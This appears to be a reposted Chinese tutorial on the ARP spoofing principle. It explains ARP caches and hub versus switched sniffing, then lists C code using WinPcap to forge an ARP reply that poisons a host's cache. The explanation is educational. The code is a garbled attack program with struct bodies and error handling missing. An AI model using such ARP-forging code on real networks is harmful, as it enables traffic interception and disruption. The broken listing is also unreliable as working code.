ARP欺騙原理

2021-07-03 19:30:15 字數 4311 閱讀 1097

乙太網內的嗅探sniff對於網路安全來說並不是什麼好事,雖然對於網路管理員能夠跟蹤資料報並且發現網路問題,但是如果被破壞者利用的話,就對整個網路構成嚴重的安全威脅。

arp快取表假設這樣乙個網路:

e cellspacing=0 bordercolordark=#ffffff cellpadding=2 width=400 align=left

bordercolorlight=black border=1>

——————————

| hub |

——————————

hosta hostb hostc

其中:

a的位址為:ip:192.168.10.1 mac: aa-aa-aa-aa-aa-aa

b的位址為:ip:192.168.10.2 mac: bb-bb-bb-bb-bb-bb

c的位址為:ip:192.168.10.3 mac: cc-cc-cc-cc-cc-cc

假設b是屬於乙個嗅探愛好者的,比如a機器的arp快取:

c:>arp -a inte***ce: 192.168.10.1 on inte***ce 0x1000003 internet address physical address type 192.168.10.3 cc-cc-cc-cc-cc-cc dynamic

這是192.168.10.1機器上的arp快取表,假設,a進行一次ping 192.168.10.3操作,ping主機c,會查詢本地的arp快取表,找到c的ip位址的mac位址,那麼就會進行資料傳輸,目的地就是c 的mac位址。如果a中沒有c的arp記錄,那麼a首先要廣播一次arp請求,當c接收到a 的請求後就傳送乙個應答,應答中包含有c的mac位址,然後a接收到c的應答,就會更新本地的arp快取。接著使用這個mac位址傳送資料(由網絡卡附加mac位址)。因此,本地快取記憶體的這個arp表是本地網路流通的基礎,而且這個快取是動態的。

集線器網路(hub-based)

很多網路都是用hub進行連線的。資料報經過hub傳輸到其他計算機的時候,hub只是簡單地把這個資料報廣播到hub的所有埠上。這就是上面舉例中的一種網路結構。

現在a需要傳送tcp資料報給c。首先,a需要檢查本地的arp 快取表,檢視是否有ip為192.168.10.3即c的arp記錄,如果沒有那麼a將要廣播乙個arp請求,當c接收到這個請求後,就作出應答,然後a更新自己的arp快取表。並獲得與c的ip相對應的mac位址。這時就傳輸這個tcp資料報,ethernet幀中就包含了c的mac位址。當資料報傳輸到hub的時候,hub直接把整個資料報廣播到所有的埠,然後c就能夠接收到a傳送的資料報。

正因為hub把資料廣播到所有的埠,所以計算機b也能夠收到a傳送給c的資料報。這正是達到了b嗅探的目的。因此,hub-based的網路基本沒有安全可言,嗅探在這樣的網路中非常容易。

交換網路(switched lan)

交換機用來代替hub,正是為了能夠解決hub的幾個安全問題,其中就是能夠來解決嗅探問題。switch不是把資料報進行埠廣播,它將通過自己的arp快取來決定資料報傳輸到那個埠上。因此,在交換網路上,如果把上面例子中的hub換為switch,b就不會接收到a傳送給c的資料報,即便設定網絡卡為混雜模式,也不能進行嗅探。

arp欺騙(arp spoofing)

arp協議並不只在傳送了arp請求才接收arp應答。當計算機接收到arp應答資料報的時候,就會對本地的arp快取進行更新,將應答中的ip和mac位址儲存在arp快取中。因此,在上面的假設網路中,b向a傳送乙個自己偽造的arp應答,而這個應答中的資料為傳送方ip位址是192.168.10.3(c的ip位址),mac位址是dd-dd-dd-dd-dd-dd(c的mac位址本來應該是cc-cc-cc-cc-cc-cc,這裡被偽造了)。當a接收到b偽造的arp應答,就會更新本地的arp快取(a可不知道被偽造了)。現在a機器的arp快取更新了:

c:>arp -a inte***ce: 192.168.10.1 on inte***ce 0x1000003 internet address physical address type 192.168.10.3 dd-dd-dd-dd-dd-dd dynamic

這可不是小事。區域網的網路流通可不是根據ip位址進行,而是按照mac位址進行傳輸。現在192.168.10.3的mac位址在a上被改變成乙個本不存在的mac位址。現在a開始ping 192.168.10.3,網絡卡遞交的mac位址是dd-dd-dd-dd-dd-dd,結果是什麼呢?網路不通,a根本不能ping通c!!這就是乙個簡單的arp欺騙。

我們來實現這樣的arp欺騙。這裡需要使用乙個winpcap提供的api和驅動。(是乙個偉大而且開放的專案。windows環境下的nmap、snort、windump都是使用的winpcap。

// arp sender

typedef struct ehhdr

ehhdr, *pehhdr;

typedef struct arphdr

arphdr, *parphdr;

typedef struct arppacket

arppacket, *parppacket;

int main(int argc, char* argv)

temp = adaptername;

temp1=adaptername;

i = 0;

while ((temp != \0)||((temp-1) != \0))

temp++;

} adapternum = i;

for (i = 0; i < adapternum; i++)

wprintf(l」\n%d- %s\n」, i+1, adapterlist);

printf(「\n」);

//default open the 0

lpadapter = (lpadapter) packetopenadapter((lptstr) adapterlist[0]);

//取第乙個網絡卡(假設啦)

if (!lpadapter || (lpadapter->hfile == invalid_handle_value))

lppacket = packetallocatepacket();

if(lppacket == null)

zeromemory(szpacketbuf, sizeof(szpacketbuf));

if (!getmacaddr(「bbbbbbbbbbbb」, macaddr))

memcpy(arppacket.ehhdr.eh_dst, macaddr, 6); //源mac位址

if (!getmacaddr(「aaaaaaaaaaaa」, macaddr))

memcpy(arppacket.ehhdr.eh_src, macaddr, 6); //目的mac位址。(a的位址)

arppacket.ehhdr.eh_type = htons(ept_arp);

arppacket.arphdr.arp_hrd = htons(arp_hardware);

arppacket.arphdr.arp_pro = htons(ept_ip);

arppacket.arphdr.arp_hln = 6;

arppacket.arphdr.arp_pln = 4;

arppacket.arphdr.arp_op = htons(arp_reply);

if (!getmacaddr(「dddddddddddd」, macaddr))

memcpy(arppacket.arphdr.arp_sha, macaddr, 6); //偽造的c的mac位址

arppacket.arphdr.arp_spa = inet_addr(「192.168.10.3」); //c的ip位址

if (!getmacaddr(「aaaaaaaaaaaa」, macaddr))

memcpy(arppacket.arphdr.arp_tha , macaddr, 6); //目標a的mac位址

arppacket.arphdr.arp_tpa = inet_addr(「192.168.10.1」); //目標a的ip位址

memcpy(szpacketbuf, (char*)&arppacket, sizeof(arppacket));

packetinitpacket(lppacket, szpacketbuf, 60);

if(packetsetnumwrites(lpadapter, 2)==false)

if(packetsendpacket(lpadapter, lppacket, true)==false)

printf (「send ok!\n」);###nextpage###

ARP欺騙原理

前面我們已經介紹過,一台主機a如果要向目標主機b傳送資料,無論主機b在本網段還是在遠端網路,這些需要發出去的資料報中需要四樣必不可少的位址,那就是源ip位址和源mac位址,以及目標ip位址和目標mac位址,當主機b在封裝資料報時,自己的ip位址和mac位址可以正確地,輕易地封裝進去,目標ip自己也知...

ARP欺騙原理詳細介紹

前面我們已經介紹過,一台主機a如果要向目標主機b傳送資料,無論主機b在本網段還是在遠端網路,這些需要發出去的資料報中需要四樣必不可少的位址,那就是源ip位址和源mac位址,以及目標ip位址和目標mac位址,當主機b在封裝資料報時,自己的ip位址和mac位址可以正確地,輕易地封裝進去,目標ip自己也知...

ARP攻擊與欺騙的原理

arp攻擊的原理 arp 攻擊很惡意,主要目的是使網路無法正常通訊 arp攻擊原理 1 pc2向pc1傳送乙個虛假的閘道器mac位址 2 pc1向pc2傳送資料時,就會傳送到虛假的mac位址當中,不 會傳到正常internet閘道器,而虛假位置不提供internet網路服務,所以pc1的資料一直發不...